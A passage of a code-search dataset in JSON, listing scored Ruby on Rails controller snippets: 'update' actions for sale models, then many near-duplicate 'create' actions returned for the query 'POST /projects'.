"text": "def update\n respond_to do |format|\n if @sale_item.update(sale_item_params)\n format.html { redirect_to @sale_item, notice: 'Sale item was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale_item }\n else\n format.html { render :edit }\n format.json { render json: @sale_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c62c8c14749af26e0f4363fc74653a95",
"score": "0.63083345",
"text": "def update\n respond_to do |format|\n if @salesrep.update(salesrep_params)\n format.html { redirect_to @salesrep, notice: 'Salesrep was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @salesrep.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51cf4a8aebc4cefe901c51fb3455fc1e",
"score": "0.63077325",
"text": "def update\n @sale = @context.find(params[:id])\n @business = @sale.business\n\n respond_to do |format|\n if @sale.update_attributes(sale_params || {})\n format.html { redirect_to business_sale_path(@business, @sale), notice: 'Sale was successfully updated.' }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"title": ""
},
{
"docid": "153eece30501d04ff94a6d22ccf2c1ee",
"score": "0.6301587",
"text": "def update\n respond_to do |format|\n if @fact_sale.update(fact_sale_params)\n format.html { redirect_to @fact_sale, notice: 'Fact sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @fact_sale }\n else\n format.html { render :edit }\n format.json { render json: @fact_sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ca9ceabf0a2ceafb82f462010121c21e",
"score": "0.63009346",
"text": "def update\n respond_to do |format|\n if @sales_admin.update(sales_admin_params)\n format.html { redirect_to @sales_admin, notice: 'Sales admin was successfully updated.' }\n format.json { render :show, status: :ok, location: @sales_admin }\n else\n format.html { render :edit }\n format.json { render json: @sales_admin.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "caf69ce6d2c7deccff28c024d2abf695",
"score": "0.62903583",
"text": "def update\n respond_to do |format|\n if @sale_producto.update(sale_producto_params)\n format.html { redirect_to @sale_producto, notice: 'Sale producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale_producto }\n else\n format.html { render :edit }\n format.json { render json: @sale_producto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "15b59deec19939ace95f7759cca4a2f5",
"score": "0.62515676",
"text": "def update\n @sale = @context.find(params[:id])\n @business = @sale.business\n\n respond_to do |format|\n if @sale.update_attributes(params[:sale])\n format.html { redirect_to business_sale_path(@business, @sale), notice: 'Sale was successfully updated.' }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"title": ""
},
{
"docid": "5e98ab681cf74c37de7fe48c72f003d4",
"score": "0.6244746",
"text": "def update\n respond_to do |format|\n if @sale_record.update(sale_record_params)\n format.html { redirect_to @sale_record, notice: 'Sale record was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale_record }\n else\n format.html { render :edit }\n format.json { render json: @sale_record.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2c8d501ae5e4d0346a6e3f5a5c474a25",
"score": "0.62440324",
"text": "def update\n @sale = @payment.sale\n respond_to do |format|\n if @payment.update(payment_params)\n format.html { redirect_to @sale, notice: 'Payment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to @sale, notice: 'Payment could not be saved. Please fill in all fields' }\n format.json { render json: @payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1669284179b3006ade73644a24c9bc58",
"score": "0.6229312",
"text": "def update\n respond_to do |format|\n if @status_sale.update(status_sale_params)\n format.html { redirect_to @status_sale, notice: 'Status de venda atualizada com sucesso.' }\n format.json { render :show, status: :ok, location: @status_sale }\n else\n format.html { render :edit }\n format.json { render json: @status_sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "36e2fbf46b9da8adb03261b6c844b804",
"score": "0.617934",
"text": "def update\n @clientes = Cliente.where(\"cliente_active != false\")\n @sale.confirmed!\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale }\n else\n format.html { render :edit }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8fdf1cacc2cb886c96c57c05dec5c150",
"score": "0.6175375",
"text": "def update\n checkout_wallet_changed = false\n @user = current_user\n @sale = @user.sales.find(params[:id])\n @line_item = @sale.line_items.find(params[:sale][:line_item][:id]) if (!@sale.receipt_confirmed and !@sale.technically_paid?)\n parameters = params[:sale]\n \n if blocked_from_changing_sale? # Do this a better way or clean it up into a controller method, does CANCAN do this?\n parameters = {}\n end\n \n # if line_item_qty changes, we need to perform this block\n if (!@sale.receipt_confirmed and !@sale.technically_paid?) and params[:sale][:line_item][:qty].to_i != @line_item.qty and valid_qty_changes?(parameters)\n @line_item.update_attributes(params[:sale][:line_item])\n @line_item.calculate_fields!\n @sale.calculate_discounts\n end\n \n sale_params = parameters.slice!(\"line_item\")\n \n respond_to do |format|\n if @sale.update_attributes(sale_params)\n format.html { redirect_to @sale}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fd05cba149a7b0d465973782e033605f",
"score": "0.6171864",
"text": "def update\n respond_to do |format|\n if @coffee_sale.update(coffee_sale_params)\n format.html { redirect_to @coffee_sale, notice: \"Coffee sale was successfully updated.\" }\n format.json { render :show, status: :ok, location: @coffee_sale }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @coffee_sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "904e1072ed194c79a6f0295947970e2a",
"score": "0.6160719",
"text": "def update\n respond_to do |format|\n if @sale_post.update(sale_post_params)\n format.html { redirect_to @sale_post, notice: 'Sale post was successfully updated.' }\n format.json { render :show, status: :ok, location: @sale_post }\n else\n format.html { render :edit }\n format.json { render json: @sale_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1f21720e0b16816ac9664c93b09d91b9",
"score": "0.61550176",
"text": "def update\n respond_to do |format|\n if @discounted_sale.update(discounted_sale_params)\n format.html { redirect_to @discounted_sale, notice: 'Discounted sale was successfully updated.' }\n format.json { render :show, status: :ok, location: @discounted_sale }\n else\n format.html { render :edit }\n format.json { render json: @discounted_sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2654d0041637ded7a71e81d08812f19e",
"score": "0.6149433",
"text": "def update\n @sell = Sell.find(params[:id])\n\n respond_to do |format|\n if @sell.update_attributes(params[:sell])\n format.html { redirect_to @sell, notice: 'Sell was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sell.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "634135b1c7e8fd90beaaafe00a2a9adb",
"score": "0.61493486",
"text": "def update\n @sale_type = SaleType.find(params[:id])\n\n respond_to do |format|\n if @sale_type.update_attributes(params[:sale_type])\n format.html { redirect_to(@sale_type, :notice => 'Sale type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sale_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c86518f863472c612312cca31f18a2b1",
"score": "0.6147744",
"text": "def update\n respond_to do |format|\n if @sale_person.update(sale_person_params)\n format.html { redirect_to sale_people_url, notice: 'Sale person was successfully updated.' }\n format.json { render :index, status: :ok, location: @sale_person }\n else\n format.html { render :edit }\n format.json { render json: @sale_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "776229e70b89492b3ab6d234e6e7a64e",
"score": "0.61421335",
"text": "def update\n @sale_order = SaleOrder.find(params[:id])\n\n respond_to do |format|\n if @sale_order.update_attributes(params[:sale_order])\n format.html { redirect_to(@sale_order, :notice => 'Sale order was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sale_order.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b852338b5c18fd44cbfc6d870d7961e7",
"score": "0.6136714",
"text": "def update\n respond_to do |format|\n if @productos_json.update(productos_json_params)\n format.html { redirect_to @productos_json, notice: 'Productos json was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @productos_json.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
c5d2e5a71683bf52d3a7e79610ca7b0a
|
POST /projects POST /projects.json
|
[
{
"docid": "11062254dfa4d0874b8b12c47fd71ca4",
"score": "0.6948445",
"text": "def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "3987b362caed851c61fc0c13c211f4a8",
"score": "0.7338293",
"text": "def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.json { render :json => @project, :status => :created, :location => @project }\n format.html { redirect_to(projects_path) }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ad2bc5d86b98a702829abd9ac259c794",
"score": "0.73130125",
"text": "def create_project(name)\n post('projects', {:name => name})[\"project\"]\n end",
"title": ""
},
{
"docid": "a689a8ab25b302b12b72f65ca83402b0",
"score": "0.7307476",
"text": "def create\n @project = Project.new(project_params)\n\n if @project.save\n render json: @project, status: 200\n else\n render json: { errors: @project.errors.messages }, status: 200\n end\n end",
"title": ""
},
{
"docid": "56bee2a584e5cdcb55aea35841fd4c42",
"score": "0.7298852",
"text": "def create\n @project = Project.new(project_params)\n\n if @project.save\n render json: @project, status: :created\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "fffab1d63dd52e8b1d3eca95d68801a1",
"score": "0.7226645",
"text": "def create\n @urlroot = Designax::Application.config.urlroot\n if params[:pk] == \"new\" and params[:name] == \"project_name\"\n project_name = params[:value]\n @project = Project.new()\n @project.project_name = project_name\n else\n @project = Project.new(params[:project])\n end\n\n respond_to do |format|\n if @project.save\n redirect_url = @urlroot + \"/projects\"\n response_url = { \"url\" => redirect_url }\n format.json { render json: response_url, status: 200 }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d36b4caf16f2c60303960edae31d7f7e",
"score": "0.7225086",
"text": "def create\n @project = Project.new(params[:project] || JSON.parse(request.body.read))\n\n if (params[:id])\n @project.id = params[:id]\n end\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(@project, :notice => 'Project was successfully created.') }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n format.json { render :json => @project }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n format.json { render :text => \"error creating project via http/json\" }\n end\n end\n end",
"title": ""
},
{
"docid": "8f02de7f9d657ea96c5e01b3fc34b964",
"score": "0.71968895",
"text": "def test_should_create_project_via_API_JSON\r\n get \"/logout\"\r\n post \"/projects.json\", :api_key => 'testapikey',\r\n :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response :created\r\n project = JSON.parse(response.body)\r\n check_new_project(project) \r\n end",
"title": ""
},
{
"docid": "f719b7397393c8c24dc72f27c491f2b7",
"score": "0.7115993",
"text": "def create\n\t\t@project = current_user.projects.new(project_params)\n\n\t\trespond_to do |format|\n\t\t\tif @project.save\n\t\t\t\tformat.json { render :show, status: :created }\n\t\t\telse\n\t\t\t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "405f971fe23d69237297c0ac81a5e34f",
"score": "0.7104099",
"text": "def create\n @projects = current_user.projects\n @project = current_user.projects.new(project_params)\n\n respond_to do |format|\n if @projects << @project\n format.html { redirect_to user_projects_path(current_user), notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "99bdb47bf8218042f3c377a86db83d1a",
"score": "0.70948637",
"text": "def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.json { render json: @project, status: :created, location: @project }\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n else\n format.json { render json: @project.errors, status: :unprocessable_entity }\n format.html { render action: \"new\" }\n end\n end\n end",
"title": ""
},
{
"docid": "13388bc888c2dc5dd6a69754079a1706",
"score": "0.7070004",
"text": "def create\n @project = current_user.projects.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f9c66a6d63a12b1687073fadedff2d30",
"score": "0.7039725",
"text": "def create(attributes={})\n raw_response = post_request('projects', project: attributes)\n parse_response(raw_response, :project)\n end",
"title": ""
},
{
"docid": "9b88a2860a538397f208681fbbd0af31",
"score": "0.7034717",
"text": "def create\n #byebug\n @project = Project.new(create_params)\n @project.user_id = @current_user.id\n @project.save\n #@project = Project.create(name_project: \"prueba\", subsidy: true, parking: true, user_id: @current_user.id)\n #byebug\n render json: @project, status: :created\n end",
"title": ""
},
{
"docid": "aad78ab40ffc8be59f17b00d2cdb9660",
"score": "0.70244694",
"text": "def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(@project, :notice => 'Project was successfully created.') }\n format.json { render :json => @project, :status => :created, :location => @project }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e43ba57907e1c9a4560b1306964a11bd",
"score": "0.7018911",
"text": "def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f7bbc093f38304c086b9bccdf27a9a39",
"score": "0.7008889",
"text": "def create\n @project = Project.new(project_params)\n if @project.save\n render json: @project, status: :ok\n else\n render json: {error: @project.errors.full_messages.to_sentence } , status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "c4d226c4e286cbc591d90797ca21acbb",
"score": "0.6983907",
"text": "def create\n @user = current_user\n @project = @user.projects.build(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "20c6c8efe93a1212182c919f5df09eac",
"score": "0.6974434",
"text": "def create\n @project = current_user.projects.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html {redirect_to \"/projects\", notice: \"Project was successfully created.\"}\n format.json {render :show, status: :created, location: @project}\n else\n format.html {render :new, status: :unprocessable_entity}\n format.json {render json: @project.errors, status: :unprocessable_entity}\n end\n end\n end",
"title": ""
},
{
"docid": "42e2aa9dcf3e5566345fd826ebfb1114",
"score": "0.6963028",
"text": "def create\n @project = current_user.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: \"Project was successfully created.\" }\n User.find(current_user.id).projects << Project.find(@project.id)\n @projects_user = ProjectsUser.find_by(user_id: current_user.id, project_id: @project.id)\n format.json { render :show, status: :created, location: @project }\n\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25e9345e1c7a1d33ecb8ab97ce692ec3",
"score": "0.69624406",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: t('models.project.create') }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "18123671d5c213fa093617873e2453fe",
"score": "0.69433033",
"text": "def create\n @api_project = Project.new(api_project_params)\n\n respond_to do |format|\n if @api_project.save\n format.html { redirect_to @api_project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @api_project }\n else\n format.html { render :new }\n format.json { render json: @api_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "18256176a7ca400b727f81598dfea325",
"score": "0.6939295",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: \"Project was successfully created.\" }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f752a4ae689122c766a06486c0c8e8e5",
"score": "0.6937509",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4e836ddf07d449226266b238e39a3bfb",
"score": "0.692051",
"text": "def create\n @project = @client.projects.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @client, notice: 'Project was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"title": ""
},
{
"docid": "27a5184c346b310821730ec4ed0cdf0c",
"score": "0.6910932",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.json { render json: @project, status: 200 }\n else\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "127416b252202b8cba89413547026474",
"score": "0.6907946",
"text": "def create\n @project = current_user.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9918a78b5d58bf11964fb94b936a0818",
"score": "0.6906763",
"text": "def create\n @project = Project.new(project_params)\n @project.user_id = @user.id\n if @project.save\n render json: {status: :success, project: @project}\n else\n render json: {status: :failed, project: @project}\n end\n end",
"title": ""
},
{
"docid": "2c814df732a312adea249ce61ce59094",
"score": "0.6893684",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Project was successfully created.' }\n format.json { render action: 'show', status: :created, location: @project }\n else\n format.html { render action: 'new' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dd8b79f9fe7ad356b2ec87d4e14bfa1f",
"score": "0.68899953",
"text": "def create\n respond_to do |format|\n if project.save\n format.html { redirect_to project, notice: 'Project was successfully created.' }\n format.json { render json: project, status: ':created', location: project }\n else\n format.html { render action: 'new' }\n format.json { render json: project.errors, status: ':unprocessable_entity' }\n end\n end\n end",
"title": ""
},
{
"docid": "de6fcca89bdbe32f27395a6032b10ed2",
"score": "0.68843",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: 'new' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fffef68ef0a39d18b7dfd786160759a8",
"score": "0.68792963",
"text": "def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to admin_projects_url, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "31cb3f7e9074f72aaa6703ec48e7639d",
"score": "0.68788743",
"text": "def create\n @project = current_user.projects.new(project_params)\n if @project.save\n render :show\n else\n render json: { errors: @project.errors }\n end\n end",
"title": ""
},
{
"docid": "374f19e779c22c9338785d5aad6ee2db",
"score": "0.6878588",
"text": "def create\n @project = Project.new(project_params)\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "97cc4be0e078a9e9ec81bcd12511c228",
"score": "0.68779224",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, flash: {success: 'Project was successfully created.'} }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7ba700c214886315dcde307f818e2065",
"score": "0.6868213",
"text": "def create\n # authenticate_user!\n @project = Project.new\n @project[:category] = params[:category]\n @project[:title] = params[:title]\n @project[:body] = params[:body]\n @project[:location] = params[:location]\n @project[:image_link] = params[:image_link]\n @project[:project_url] = params[:project_url]\n @project[:year] = params[:year]\n @project[:likes] = params[:likes]\n @project.save\n\n render json: @project\n end",
"title": ""
},
{
"docid": "95faa526efe10efe90994075218387fa",
"score": "0.6865548",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7706747d57b836d85da32cb8dc4b9a0",
"score": "0.6865263",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7706747d57b836d85da32cb8dc4b9a0",
"score": "0.6865263",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7706747d57b836d85da32cb8dc4b9a0",
"score": "0.6865263",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7706747d57b836d85da32cb8dc4b9a0",
"score": "0.6865263",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7706747d57b836d85da32cb8dc4b9a0",
"score": "0.6865263",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7706747d57b836d85da32cb8dc4b9a0",
"score": "0.6865263",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7706747d57b836d85da32cb8dc4b9a0",
"score": "0.6865263",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7706747d57b836d85da32cb8dc4b9a0",
"score": "0.6865263",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7706747d57b836d85da32cb8dc4b9a0",
"score": "0.6865263",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7706747d57b836d85da32cb8dc4b9a0",
"score": "0.6865263",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7706747d57b836d85da32cb8dc4b9a0",
"score": "0.6865263",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7706747d57b836d85da32cb8dc4b9a0",
"score": "0.6865263",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7706747d57b836d85da32cb8dc4b9a0",
"score": "0.6865263",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7706747d57b836d85da32cb8dc4b9a0",
"score": "0.6865263",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7706747d57b836d85da32cb8dc4b9a0",
"score": "0.6865263",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6df0c80f4f0b8f3960e4e959e2a6b0f1",
"score": "0.68651164",
"text": "def create\n @project = Project.new(project_params.merge(user_id: current_user.id))\n\n respond_to do |format|\n if @project.save\n format.json { render :show, status: :created, location: @project }\n else\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7706747d57b836d85da32cb8dc4b9a0",
"score": "0.68650335",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fc5bf03a320844ead887d44ace86f0f8",
"score": "0.6859234",
"text": "def create\n @project = Project.new(project_params)\n \n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d20d51557c825f06aacd1e1f9d3e40c5",
"score": "0.68578434",
"text": "def create\n @client = Client.find(params[:client_id])\n @project = @client.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to client_projects_path(@client), notice: 'Project was successfully created.' }\n format.json { render json: client_projects_path(@client), status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: client_projects_path(@client).errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4cc66d23df6453fcb6b78a7b9dd30bcb",
"score": "0.6845717",
